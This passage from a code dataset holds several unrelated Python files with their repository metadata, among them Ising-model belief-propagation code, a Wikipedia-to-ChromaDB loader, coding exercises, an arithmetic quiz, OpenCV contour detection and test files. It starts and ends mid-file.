break\r\n m = m_new\r\n else:\r\n print('conv_crit not meet, diff = {}'.format(diff))\r\n\r\n F, E, S = self.get_free_energy_nmf(m)\r\n print('NMF:\\tF = {:.15g}\\tE = {:.15g}\\tS = {:.15g}\\titer = {}'.format(\r\n F, E, S, iter_count))\r\n\r\n return F, E, S,iter_count\r\n\r\n def get_free_energy_tap(self, m):\r\n S = self.get_entropy_fact(m) / self.n\r\n E = (-1 / 2 * m @ self.J @ m + self.H @ m )/ self.n\r\n G2 = -self.beta / 4 * (1 - m**2) @ (self.J**2) @ (1 - m**2) / self.n\r\n E += G2 \r\n F = E - S / self.beta\r\n return F, E, S\r\n\r\n def F_tap(self, damping=0.3):\r\n m = torch.tanh(torch.randn([self.n],dtype=torch.float64, device=self.device))\r\n for iter_count in range(self.max_iter):\r\n m_new = (damping * m + (1 - damping) *\r\n torch.tanh(self.beta * self.J @ m + self.beta * self.H -m *\r\n (self.beta * self.J)**2 @ (1 - m**2)))\r\n diff = (m_new - m).norm()\r\n if diff < self.conv_crit:\r\n break\r\n m = m_new\r\n else:\r\n print('conv_crit not meet, diff = {}'.format(diff))\r\n\r\n F, E, S = self.get_free_energy_tap(m)\r\n print('TAP:\\tF = {:.15g}\\tE = {:.15g}\\tS = {:.15g}\\titer = {}'.format(\r\n F, E, S, iter_count))\r\n\r\n return F, E, S,iter_count\r\n \r\n \r\n def BP(self):\r\n stepmax = 1000\r\n epsilon = 1e-6\r\n difference_max = 10\r\n damping_factor = 0\r\n beta=self.beta\r\n num_edges=len(list(self.graph.edges()))\r\n neighbors=[]\r\n for i in range(self.n):\r\n neighbors.append(list(self.graph.adj[i]))\r\n edges=list(self.graph.edges())\r\n \r\n J=self.J.detach().numpy()\r\n \r\n D=self.n\r\n \r\n \r\n h = np.random.randn(D, D)\r\n # belief propagation\r\n for step in range(stepmax):\r\n for i in range(D):\r\n for j in range(len(neighbors[i])):\r\n a = neighbors[i][j]\r\n B = list(neighbors[i])\r\n B.remove(a)\r\n temp = (np.arctanh(\r\n np.tanh(beta * J[i, B]) * np.tanh(beta * h[B, i])\r\n ) / (beta)).sum()\r\n temp = damping_factor*h[i][a] + (1-damping_factor)*temp\r\n difference = abs(temp - h[i][a])\r\n h[i][a] = temp\r\n if i == 0 and j == 0:\r\n difference_max = difference\r\n elif difference > difference_max:\r\n difference_max = difference\r\n if difference_max <= epsilon:\r\n break\r\n \r\n # calculate free energy\r\n fe_node = np.zeros(D)\r\n for i in range(D):\r\n B = list(neighbors[i])\r\n temp1 = (np.cosh(beta * (J[i, B] + h[B, i])) /\r\n np.cosh(beta * h[B, i])).prod()\r\n temp2 = (np.cosh(beta * (-J[i, B] + h[B, i])) /\r\n np.cosh(beta * h[B, i])).prod()\r\n fe_node[i] = - np.log(temp1 + temp2) / beta\r\n fe_node_sum = np.sum(fe_node)\r\n\r\n fe_edge = np.zeros(num_edges)\r\n edge_count = 0\r\n for edge in edges:\r\n i, j = edge\r\n temp1 = np.exp(beta*J[i,j]) * np.cosh(beta*(h[i,j]+h[j,i])) + \\\r\n np.exp(-beta*J[i,j]) * np.cosh(beta*(h[i,j]-h[j,i]))\r\n temp2 = 2*np.cosh(beta*h[i,j])*np.cosh(beta*h[j,i])\r\n fe_edge[edge_count] = - np.log(temp1/temp2) / beta\r\n edge_count += 1\r\n fe_edge_sum = np.sum(fe_edge)\r\n\r\n fe_sum = fe_node_sum - fe_edge_sum\r\n\r\n # calculate energy\r\n energy_BP = np.zeros(num_edges)\r\n edge_count = 0\r\n for edge in edges:\r\n i, j = edge\r\n temp1 = -J[i,j]*np.exp(beta*J[i,j])*np.cosh(beta*(h[i,j]+h[j,i])) + \\\r\n J[i,j]*np.exp(-beta*J[i,j])*np.cosh(beta*(h[i,j]-h[j,i]))\r\n temp2 = np.exp(beta*J[i,j])*np.cosh(beta*(h[i,j]+h[j,i])) + \\\r\n np.exp(-beta*J[i,j])*np.cosh(beta*(h[i,j]-h[j,i]))\r\n energy_BP[edge_count] = temp1 / temp2\r\n edge_count += 1\r\n energy_BP = np.sum(energy_BP)\r\n\r\n # calculate entropy\r\n entropy_BP = beta*(energy_BP - fe_sum)\r\n\r\n # calcualte magnetzation\r\n mag_BP = np.zeros(D)\r\n for i in range(D):\r\n B = list(neighbors[i])\r\n temp = np.arctanh(\r\n np.tanh(beta*J[i, B]) * np.tanh(beta*h[B,i])\r\n ).sum()\r\n mag_BP[i] = np.tanh(temp)\r\n\r\n # calculate connected correlation\r\n correlation_BP = np.empty(num_edges)\r\n edge_count = 0\r\n for edge in edges:\r\n i, j = edge\r\n temp1 = np.exp(beta*J[i,j])*np.cosh(beta*(h[i,j]+h[j,i]))\r\n temp2 = np.exp(-beta*J[i,j])*np.cosh(beta*(h[i,j]-h[j,i]))\r\n correlation_BP[edge_count] = (temp1 - temp2) / (temp1 + temp2) - \\\r\n mag_BP[i] * mag_BP[j]\r\n edge_count += 1\r\n print('BP:\\tF = {:.15g}\\tE = {:.15g}\\tS = {:.15g}\\titer = {}'.format(\r\n fe_sum/D, energy_BP/D, entropy_BP/D,step))\r\n return fe_sum/D, energy_BP/D, entropy_BP/D, mag_BP, correlation_BP, step\r\nif __name__ =='__main__' :\r\n n=60\r\n graph = nx.random_regular_graph(3, n, seed=1)\r\n edges = graph.edges\r\n edges = np.unique(np.array([a for a in edges]), axis=0)\r\n np.random.seed(1)\r\n device = torch.device(\"cpu\" )\r\n weights = np.random.randn(len(edges))\r\n print(weights)\r\n fields = np.zeros(n)\r\n\t\r\n J = torch.zeros(n, n, dtype=torch.float64)\r\n idx = np.array(edges)\r\n \r\n W = torch.tensor(weights, dtype=torch.float64)\r\n J[idx[:, 0], idx[:, 1]] = W\r\n J[idx[:, 1], idx[:, 0]] = W\r\n H = torch.tensor(fields, dtype=torch.float64, requires_grad=True)\r\n beta=1\r\n \r\n mf=MeanField(graph,J,H,beta,device)\r\n fe_sum, energy_BP, entropy_BP, mag_BP, correlation_BP, step=mf.BP()\r\n\t\r\n F, E, S,iter=mf.F_tap(0.3)\r\n F, E, S,iter=mf.F_nmf(0.3)\r\n \r\n\t\t\t \r\n","repo_name":"panzhang83/catn","sub_path":"bp_mf.py","file_name":"bp_mf.py","file_ext":"py","file_size_in_byte":7223,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"37"} +{"seq_id":"33378483840","text":"import pandas as pd\nimport os\n\n\npath = \"./wiki_dataset/wiki_parquet\"\nimport chromadb\nchroma_client = chromadb.PersistentClient(\"./wiki_dataset/chroma.db\")\ncollection = chroma_client.create_collection('wiki_embedding')\ndir_list = os.listdir(path)\nfor file_name in dir_list:\n df = pd.read_parquet(os.path.join(path,file_name),engine=\"pyarrow\")\n print(df.head())\n ids =df['index'].apply(lambda x: str(x)).to_list()\n meta_list = list(df.filter(['title','index']).T.to_dict().values())\n article_list = df['article'].to_list()\n collection.add(\n ids=ids,\n documents=article_list,\n metadatas=meta_list\n )\nprint(len(dir_list))\n# df = pd.read_parquet('./wiki_dataset/wiki_parquet/00000010.parquet',engine='pyarrow')\n# print(df.head())\n\n","repo_name":"rayguo17/LLM_Science_Exam","sub_path":"wiki_dataset/wiki_reader.py","file_name":"wiki_reader.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"10630525805","text":"n, m = map(int, input().split())\n\niceFrame = [list(map(int, input())) for _ in range(n)]\nprint(iceFrame)\n\ncount = 0\n\ndef check(i, j):\n if i - 1 < 0 or i + 1 > n or j - 1< 0 or j + 1 > m or iceFrame[i][j] == 1:\n return\n iceFrame[i][j] = 1\n check(i + 1, j)\n check(i, j + 1)\n check(i - 1, j)\n check(i, j - 1)\n\nfor i in range(n):\n for j in range(m):\n if iceFrame[i][j] == 0:\n count += 1\n check(i, j)\n\nprint(count)","repo_name":"nillworld/learn-python","sub_path":"algorithm/basic/DFS_BFS/bfs2.py","file_name":"bfs2.py","file_ext":"py","file_size_in_byte":432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30373301921","text":"import requests\nimport time\n\n\ndef download_site(url, session):\n with session.get(url) as res:\n print(f\"Read {len(res.content)} from {url}\")\n\n\ndef download_all_sites(sites):\n # session allows connection pooling so we can use the\n # previous connection which will make it faster\n # we can also reuse the cookies, headers, auth, etc\n with requests.Session() as session:\n for url in sites:\n download_site(url, session=session)\n\n\nif __name__ == \"__main__\":\n sites = [\n \"https://www.jython.org\",\n \"https://cython.org\",\n ] * 80\n start_time = time.time()\n download_all_sites(sites)\n duration = time.time() - start_time\n print(f\"Downloaded {len(sites)} in {duration} seconds\")\n # Downloaded 160 in 23.108558654785156 seconds\n\n# This type of programs are quite good if it takes only 2 seconds\n# and we rarely run it\n# it's simple, easy to debug and we can predict what happens next\n\n# it's a different case if it takes hours and we need to run it\n# frequently\n","repo_name":"Researching-Advanced-Python-Concepts/python-concurrency","sub_path":"i_o_bound_program/sync_main.py","file_name":"sync_main.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"26875963135","text":"'''\r\n# Set Comprehensions - Set comprehensions are pretty similar to list comprehensions. The only difference between\r\n them is that set comprehensions use curly brackets { }. Let’s look at the following example to understand set\r\n comprehensions.\r\n-> Note that set will discard all the duplicate values. Let’s see how we can do this using for loops and set\r\n comprehension.\r\n'''\r\n\r\n'''\r\nExample #1 : Suppose we want to create an output set which contains only the even numbers that are present in the \r\ninput list. \r\n'''\r\n# Constructing output set Using for loop...\r\ninput_list = [1, 2, 3, 4, 4, 5, 6, 7, 7]\r\noutput_set = set()\r\n\r\nfor num in input_list:\r\n if num % 2 == 0:\r\n output_set.add(num)\r\n\r\nprint(f'The output list using for loop is : {output_set}')\r\n\r\n# Constructing output set Using set comprehensions...\r\noutput_set = {num for num in input_list if num % 2 == 0}\r\nprint(output_set)\r\nprint(f'The output set using set comprehension is : ', {num for num in input_list if num % 2 == 0}, '\\n')\r\n\r\n# Creating new Set very easily...\r\nprint(f'My new set is: ', sorted({num * 5 for num in range(0, 10)}))\r\nprint(f'My new set-2 is: ', sorted({num * num for num in range(0, 5)}), '\\n')\r\n\r\n\r\n'''\r\n# Dictionary Comprehensions - Extending the idea of list comprehensions, we can also create a dictionary using \r\ndictionary comprehensions. The basic structure of a dictionary comprehension looks like below.\r\n \r\n--> output_dict = {key:value for (key, value) in iterable if (key, value satisfy this condition)}\r\n'''\r\n\r\n'''\r\nExample #1: Suppose we want to create an output dictionary which contains only the odd numbers that are present in \r\nthe input list as keys and their cubes as values. Let’s see how to do this using for loops and dictionary comprehension.\r\n'''\r\n# Constructing output dictionary Using for loop...\r\ninput_list = [1, 2, 3, 4, 5, 6, 7]\r\noutput_dict = {}\r\n\r\nfor num in input_list:\r\n if num % 2 != 0:\r\n output_dict[num] = num**3\r\n\r\nprint(f'My dictionary using for loop is:', output_dict, '\\n')\r\n\r\n# Constructing output dictionary Using dictionary comprehensions...\r\nmy_dict = {num: num*2 for num in input_list if num % 2 != 0}\r\nprint(my_dict, '\\n')\r\n\r\nmy_dict1 = {key: num*2 for key in input_list if key % 2 != 0}\r\nprint(my_dict, '\\n')\r\n\r\n\r\nsimple_dict = {\r\n 'a': 1,\r\n 'b': 2,\r\n 'c': 3\r\n}\r\nmy_dict1 = {key: value*3 for key, value in simple_dict.items() if key == 'a' or value % 2 == 0}\r\nprint(my_dict1)\r\n","repo_name":"TanvirAhmed16/Advanced_Python_Functional_Programming","sub_path":"12. Set & Dictionary Comprehension.py","file_name":"12. Set & Dictionary Comprehension.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21098628522","text":"from t100.components.components import *\nfrom t100.simtool.distributed_env import Environment\n\nimport random\nimport time\nimport sys\n\n\ndef creation_expression(timestamp):\n return 1.0/1000\n\ndef execution_expression(timestamp):\n return 10 + random.randint(-5,+5)\n\nip,port = '192.168.0.11',11111\n\n\nif __name__=='__main__':\n \n process = QueuedProcess()\n source = Source(output=process,\n creation_tax_expression=creation_expression,\n execution_time_expression=execution_expression,)\n\n cfg = open('distributed_01.json').read()\n env = Environment(ip, port, cfg, verbose=True)\n env.populate([source,process])\n time.sleep(2)\n env.start_simulation(untill=1000)\n","repo_name":"alvesjnr/T100","sub_path":"examples/simtool/distributed_01.py","file_name":"distributed_01.py","file_ext":"py","file_size_in_byte":719,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"41763283845","text":"\"\"\" apps/moines/urls.py \"\"\"\n\nfrom django.urls import path\n\nfrom . import views\n\napp_name = 'moines'\nurlpatterns = [\n path('', views.MoineListView.as_view(), name='list'),\n path('create', views.MoineCreateView.as_view(), name='create'),\n path('id=/detail', views.moine_detail_view, name='detail'),\n path('id=/update', views.MoineUpdateView.as_view(), name='update'),\n path('id=/delete', views.MoineDeleteView.as_view(), name='delete'),\n]\n","repo_name":"BrRoman/infirmerie","sub_path":"infirmerie/apps/moines/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25435742426","text":"import unittest\nfrom gradescope_utils.autograder_utils.decorators import weight\nfrom subprocess import PIPE, run\n\n\nclass TestCheckAlignment(unittest.TestCase):\n\n @weight(2)\n def test_aligner(self):\n \"\"\"Check aligner\"\"\"\n out = run([\"python3 align -n 10\"], shell=True, stdout=PIPE, stderr=PIPE)\n if out.returncode == 1:\n print(out.stderr)\n\n assert out.returncode == 0\n\n out = run([\"python3 align -n 10 | python3 check-alignments --no-check-num\"], shell=True, stdout=PIPE, stderr=PIPE)\n if out.returncode == 1:\n print(out.stderr)\n\n assert out.returncode == 0\n\n #@weight(1)\n #def test_performance(self):\n # \"\"\"Check performance\"\"\"\n # out = run([\"python3 align -n 100 | python3 score-alignments\"], shell=True, stdout=PIPE, stderr=PIPE)\n\n # if out.returncode == 1:\n # print(out.stderr)\n # assert out.returncode == 0\n\n # results = out.stdout.decode(\"utf-8\").split(\"\\n\")[-4:-1]\n # aer = float(results[2].strip().split('=')[-1])\n # print(f\"AER:{aer}\")\n \n # if aer > 0.682:\n # print(f\"Worse than baseline (0.682).\")\n # assert False\n \n","repo_name":"mt-class/jhu","sub_path":"jhu-2022/hw2/tests/test_aligner.py","file_name":"test_aligner.py","file_ext":"py","file_size_in_byte":1199,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"37"} +{"seq_id":"73314088746","text":"import random\r\nimport time\r\nimport matplotlib.pyplot as mpl\r\nimport numpy as np\r\nfrom datetime import datetime\r\n\r\n\r\ndef user_choice():\r\n user_choice1: int = int(input('''Enter 1 for Instructions\\n Enter 2 to Practice Squares \\n Enter 3 to revise squares \r\nEnter 4 to Practice Cube \\n Enter 5 to revise Cube :'''))\r\n return user_choice1\r\n\r\n\r\ndef instructions():\r\n print('''-----INSTRUCTION-----\r\n 1) This Program Helps you to Practice your Squares and cubes chose one and get \r\n started\r\n 2) Enter How many Questions You want\r\n 3) Enter the starting number and ending number \r\n e.g if you enter start number = 5 end number = 10 then you will be given questions from the range of 5-10 (6,9,7,8)\r\n provided you entered no of questions as 4 \r\n 4) It also provides a little detailed insight such as how much time you are taking \r\n against a particular number \r\n 5) You can check your previous scores on text-file named 'upload-time.txt' placed in \r\n your main python directory \r\n 6) To Practice Re-Run the Program,Hope you Enjoy\r\n GodsOwn Knight\r\n \r\n ''')\r\n\r\n\r\ndef common_input():\r\n global tries, ques1, ques2\r\n tries = int(input(\"Enter No. of questions you want?\"))\r\n ques1 = int(input(\"Enter the Starting Range number: \"))\r\n ques2 = int(input(\"Enter the End Range number: \"))\r\n\r\n\r\ndef condition_check():\r\n if tries > (ques2 - ques1) + 1:\r\n print(\"ERROR!!! Generating\", tries, \"unique numbers is not possible in \", ques1, \"-\", ques2, \" range! Only \",\r\n (ques2 - ques1) + 1, \"numbers are possible\")\r\n status: bool = False\r\n return status\r\n else:\r\n status = True\r\n\r\n return status\r\n\r\n\r\ndef generate_num():\r\n global num\r\n a = condition_check()\r\n if a:\r\n num = random.sample(range(ques1, ques2 + 1), tries)\r\n else:\r\n exit()\r\n\r\n\r\ndef common_var():\r\n global score, time_list, ans_list, i, wrong_ques_list_square, wrong_ans_list_square, wrong_ques_list_cube, \\\r\n wrong_ans_list_cube\r\n score = 0\r\n i = 0\r\n time_list = []\r\n ans_list = []\r\n wrong_ques_list_square = []\r\n wrong_ans_list_square = []\r\n wrong_ques_list_cube = []\r\n wrong_ans_list_cube = []\r\n\r\n return score, time_list, ans_list, i, wrong_ques_list_square, wrong_ans_list_square, wrong_ans_list_cube, \\\r\n wrong_ques_list_cube\r\n\r\n\r\ndef square():\r\n global score, i, wrong_ques_list_square, wrong_ans_list_square\r\n common_var()\r\n\r\n while i < tries:\r\n t = time.time()\r\n ans = int(input(\"Enter Square of \" + str(num[i]) + \":\"))\r\n t1 = time.time()\r\n a = t1 - t\r\n b = round(a, 2)\r\n time_list.append(b)\r\n actual_ans = num[i] * num[i]\r\n ans_list.append(actual_ans)\r\n i += 1\r\n if ans == actual_ans:\r\n print(\"Correct!!!!\")\r\n print(\"You took \", b, \" sec\")\r\n score += 1\r\n else:\r\n print(\"Wrong answer! BOO\", \"\\n\", \"Correct Answer is :\", actual_ans)\r\n score += 0\r\n wrong_ques_list_square.append(num[i - 1])\r\n wrong_ans_list_square.append(actual_ans)\r\n\r\n\r\ndef wrong_ans_square():\r\n if tries == score:\r\n print(\"You are Bloody Brilliant!!\\n You didn't made any mistakes:)\")\r\n else:\r\n print(\"Don't Worry We all makes mistakes along our journey\\n You made mistakes in these questions\")\r\n show_mistake = \"\\n\".join(\r\n \"Square of {} ----> {}\".format(x, y) for x, y in zip(wrong_ques_list_square, wrong_ans_list_square))\r\n print(show_mistake)\r\n\r\n\r\ndef upload_time_square():\r\n file = open(\"upload-time.txt\", \"a\")\r\n now = datetime.now()\r\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\r\n file.write(\"\\n\" + dt_string + \"\\t Score :\" + str(score) + \"/\" + str(\r\n len(num)) + \" Incorrect Square Questions: \" + str(wrong_ques_list_square))\r\n\r\n\r\ndef upload_time_cube():\r\n file = open(\"upload-time.txt\", \"a\")\r\n now = datetime.now()\r\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\r\n file.write(\"\\n\" + dt_string + \"\\t Score :\" + str(score) + \"/\" + str(\r\n len(num)) + \" Incorrect Cube Questions: \" + str(wrong_ques_list_cube))\r\n\r\n\r\ndef cube():\r\n common_var()\r\n global score, i\r\n while i < tries:\r\n t = time.time()\r\n ans = int(input(\"Enter Cube of \" + str(num[i]) + \":\"))\r\n t1 = time.time()\r\n a = t1 - t\r\n b = round(a, 2)\r\n time_list.append(b)\r\n actual_ans = num[i] * num[i] * num[i]\r\n i += 1\r\n if ans == actual_ans:\r\n print(\"Correct!!!!\")\r\n print(\"You took \", b, \" sec\")\r\n score += 1\r\n else:\r\n print(\"Wrong answer! BOO\", \"\\n\", \"Correct Answer is :\", actual_ans)\r\n score += 0\r\n wrong_ques_list_cube.append(num[i - 1])\r\n wrong_ans_list_cube.append(actual_ans)\r\n\r\n\r\ndef wrong_ans_cube():\r\n if tries == score:\r\n print(\"You are Bloody Brilliant!!\\n You didn't made any mistakes:)\")\r\n else:\r\n print(\"Don't Worry We all makes mistakes along our journey\\n you made mistakes in these questions\")\r\n show_mistake = \"\\n\".join(\r\n \"Square of {} ----> {}\".format(x, y) for x, y in zip(wrong_ques_list_cube, wrong_ans_list_cube))\r\n print(show_mistake)\r\n\r\n\r\ndef display_score():\r\n res = \"\\n\".join(\"{} {}s\".format(x, y) for x, y in zip(num, time_list))\r\n print(\"Time taken per Number\")\r\n print(res)\r\n sum_list = round(sum(time_list), 2)\r\n avg = round(sum_list / len(time_list), 2)\r\n print(\"Total Time Taken:\", sum_list, \"sec\", \"\\n\", \" Average time per question:\", avg, \"s\")\r\n print(\"Pie-Chart showing time per question\")\r\n y = np.array(time_list)\r\n mpl.pie(y, labels=num, autopct=\"%1.0f%%\", shadow=True)\r\n mpl.title(\"Your Score: \" + str(score) + \"/\" + str(len(num)) + \"\\n Time taken per Question(percent-wise):\",\r\n pad=-100,\r\n loc=\"center\",\r\n color='b',\r\n fontsize=15)\r\n mpl.show()\r\n\r\n print(\"--Coded By Ganesh---\")\r\n\r\n\r\ndef revise_square():\r\n pract_list = [x for x in range(1, 41)]\r\n\r\n def squares(n):\r\n pract_ans = [number * number for number in range(1, n + 1)]\r\n return pract_ans\r\n\r\n res1 = \"\\n\".join(\"Square of {} ----> {}\".format(x, y) for x, y in zip(pract_list, squares(40)))\r\n print(res1)\r\n\r\n\r\ndef revise_cube():\r\n pract_list = [x for x in range(1, 26)]\r\n\r\n def squares(n):\r\n pract_ans = [number * number * number for number in range(1, n + 1)]\r\n return pract_ans\r\n\r\n res1 = \"\\n\".join(\"Cube of {} ----> {}\".format(x, y) for x, y in zip(pract_list, squares(40)))\r\n print(res1)\r\n\r\n\r\ndef square_control():\r\n common_input()\r\n generate_num()\r\n condition_check()\r\n square()\r\n display_score()\r\n wrong_ans_square()\r\n upload_time_square()\r\n\r\n\r\ndef cube_control():\r\n common_input()\r\n generate_num()\r\n condition_check()\r\n cube()\r\n display_score()\r\n wrong_ans_cube()\r\n upload_time_cube()\r\n\r\n\r\nreturn_userchoice = user_choice()\r\nif return_userchoice == 1:\r\n instructions()\r\nelif return_userchoice == 2:\r\n square_control()\r\nelif return_userchoice == 3:\r\n revise_square()\r\nelif return_userchoice == 4:\r\n cube_control()\r\nelif return_userchoice == 5:\r\n revise_cube()\r\nelse:\r\n print(\"Invalid Input\")\r\n","repo_name":"gan171/Speedy.py","sub_path":"sqaureandcube.py","file_name":"sqaureandcube.py","file_ext":"py","file_size_in_byte":7365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10029340399","text":"import cv2 as cv\nimport numpy as np\n\ndef thresh_callback(val):\n \n threshold = val\n canny_output = cv.Canny(src_gray, threshold, threshold * 2)\n contours, _ = cv.findContours(canny_output, cv.RETR_EXTERNAL, cv.CHAIN_APPROX_SIMPLE)\n drawing = np.zeros((canny_output.shape[0], canny_output.shape[1], 3), dtype=np.uint8)\n \n for i, c in enumerate(contours):\n area = cv.contourArea(c)\n if area > min_area: # Establece un área mínima para filtrar los contornos\n color = (255, 0, 0)\n x, y, w, h = cv.boundingRect(c)\n cv.rectangle(src, (x, y), (x + w, y + h), color, 2)\n \n cv.imshow('Contours', src)\n\n# Leer la imagen de entrada\nsrc = cv.imread('test/img2/20230615131504.bmp')\n\n# Convertir la imagen a escala de grises y aplicar desenfoque\nsrc_gray = cv.cvtColor(src, cv.COLOR_BGR2GRAY)\nsrc_gray = cv.blur(src_gray, (3, 3))\n\n# Crear ventana y trackbar para ajustar el umbral\ncv.namedWindow('Source')\nmax_thresh = 255\nthresh = 100 # Umbral inicial\n# Área mínima para filtrar los contornos (ajusta este valor según tus necesidades)\nmin_area = 12\ncv.createTrackbar('Canny thresh:', 'Source', thresh, max_thresh, thresh_callback)\n\nthresh_callback(thresh)\ncv.waitKey()\ncv.destroyAllWindows()\n","repo_name":"juampa95/ocr-project","sub_path":"scripts_pruebas/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1259,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33892758196","text":"from collections import deque\n\nclass Queuey:\n def __init__(self, maxsize):\n self.maxsize = maxsize\n self.items = deque()\n\n def get(self):\n return self.items.popleft()\n\n def put(self, item):\n if len(self.items) < self.maxsize:\n self.items.append(item)\n else:\n print(\"no\")\n\ndef producer(q, n):\n for i in range(n):\n q.put(i)\n q.put(None)\n\ndef consumer(q):\n while True:\n item = q.get()\n if item is None:\n break\n\n print(\"Got:\", item)\n\nfrom threading import Thread\nfrom queue import Queue\nq = Queue()\nThread(target=producer, args=(q,100)).start()\nThread(target=consumer, args=(q,)).start()\n","repo_name":"monarin/divelite","sub_path":"python3/asyncio/q.py","file_name":"q.py","file_ext":"py","file_size_in_byte":698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"31934508049","text":"#Serial Import \n#Version 0.1 Still need to parse junk before sending values - Brendan A.\n#Version 0.2 Decoded Data. Can either parse values or read one at a time\n#after start symbol is found - Brendan A. \nimport serial\nfrom time import sleep\nport = serial.Serial(\"/dev/ttyS0\",9600)#timeout opt. paramater\nwhile True:\n\tData = port.read()\t#read serial port\n\tSleep(.05)#increasing time retains more of value\t\t\n\tdata_left = port.inWaiting()\t#check for remaining bytes\n\tData += port.read(data_left)\n\tStart = Data.decode(\"utf-8\")#decode Arduino Weather Data\n\t#if Start == '$':#if start symbol found\n \t#i == 1\n \t#while i < 7 #loop for serial read of each data point\n\t\t\t#Begin parsing\n\t#elif Start == '!' #if error symbol found\n\t\t#i == 1\n\t\t#while i < size_error_data_points\n\tprint(Start)#used to test that data was successfully read\n\t","repo_name":"brendankaguiar/Senior-Project","sub_path":"Embedded System/REWSPI.py","file_name":"REWSPI.py","file_ext":"py","file_size_in_byte":840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22195572862","text":"import pytest\nfrom pathlib import Path\n\nfrom conftest import module_logger, fit_file, current_dir, build_symmetric_impedance_fitter_from_file\n\ndef gather_filenames():\n p = Path(current_dir).joinpath('data')\n filenames = list(p.glob('**/*.csv'))\n return filenames\n\n\nassessment_table_raw = [\n{'w_trans': 29.87453551634064, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_001.csv'},\n{'w_trans': 11.89319014054795, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_003.csv'},\n{'w_trans': 11.89319014054795, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_002.csv'},\n{'w_trans': 47.34769686448863, 'has_w_trans': True, 'has_short': True, 'filename': 'test_data_004.csv'},\n{'w_trans': 29.87453551634064, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_005.csv'},\n{'w_trans': 29.87453551634064, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_006.csv'},\n{'w_trans': 29.87453551634064, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_007.csv'},\n{'w_trans': None, 'has_w_trans': False, 'has_short': True, 'filename': 'test_data_008.csv'},\n{'w_trans': 0.7504071044217652, 'has_w_trans': True, 'has_short': True, 'filename': 'test_data_009.csv'},\n{'w_trans': 0.7504071044217652, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_010.csv'},\n{'w_trans': 11.89319014054795, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_011.csv'},\n{'w_trans': 9.447083268609866, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_012.csv'},\n{'w_trans': 31.415863704044863, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_013.csv'},\n{'w_trans': 39.55020106642569, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_014.csv'},\n{'w_trans': 31.415863704044863, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_015.csv'},\n{'w_trans': 31.415863704044863, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_016.csv'},\n{'w_trans': 49.790662143773126, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_017.csv'},\n{'w_trans': 29.87453551634064, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_018.csv'},\n{'w_trans': 5.960751086771051, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_019.csv'},\n{'w_trans': 23.730145772596643, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_020.csv'},\n{'w_trans': 9.447083268609866, 'z_w_trans': 97.91536372750704, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_021.csv'},\n{'w_trans': 9.447083268609866, 'z_w_trans': 100.57760065670685, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_022.csv'},\n{'w_trans': 9.447083268609866, 'z_w_trans': 101.40128345262697, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_023.csv'},\n{'w_trans': 23.730145772596643, 'z_w_trans': 91.34686924990916, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_024.csv'},\n{'w_trans': 23.730145772596643, 'z_w_trans': 83.79607480878802, 'has_w_trans': True, 'has_short': False, 'filename': 'test_data_025.csv'},\n]\n\n\nassessment_table = {a['filename']: a for a in assessment_table_raw}\n\n\n@pytest.mark.parametrize('fn', gather_filenames())\ndef test_assessment(fn):\n fn_simple = str(Path(fn).name)\n\n symimfit = build_symmetric_impedance_fitter_from_file(fn)\n assessment = symimfit.assess_data()\n assessment['filename'] = fn_simple\n\n if fn_simple not in assessment_table:\n module_logger.error(f'No assesment data available for {fn_simple}! Skip!')\n module_logger.error(assessment)\n\n else:\n for k, v in assessment_table[fn_simple].items():\n assert v == assessment[k], f'Failed on property: {k}'\n\n\n\n\n","repo_name":"deniz195/fipt-analysis","sub_path":"tests/test_assessment.py","file_name":"test_assessment.py","file_ext":"py","file_size_in_byte":3738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"74464990186","text":"import sys\n\nsys.path.insert(0, \"/Users/juliasuter/Documents/repositories/asf_core_data\")\n\nfrom asf_core_data.getters.epc import epc_data\n\nLOCAL_DATA_DIR = 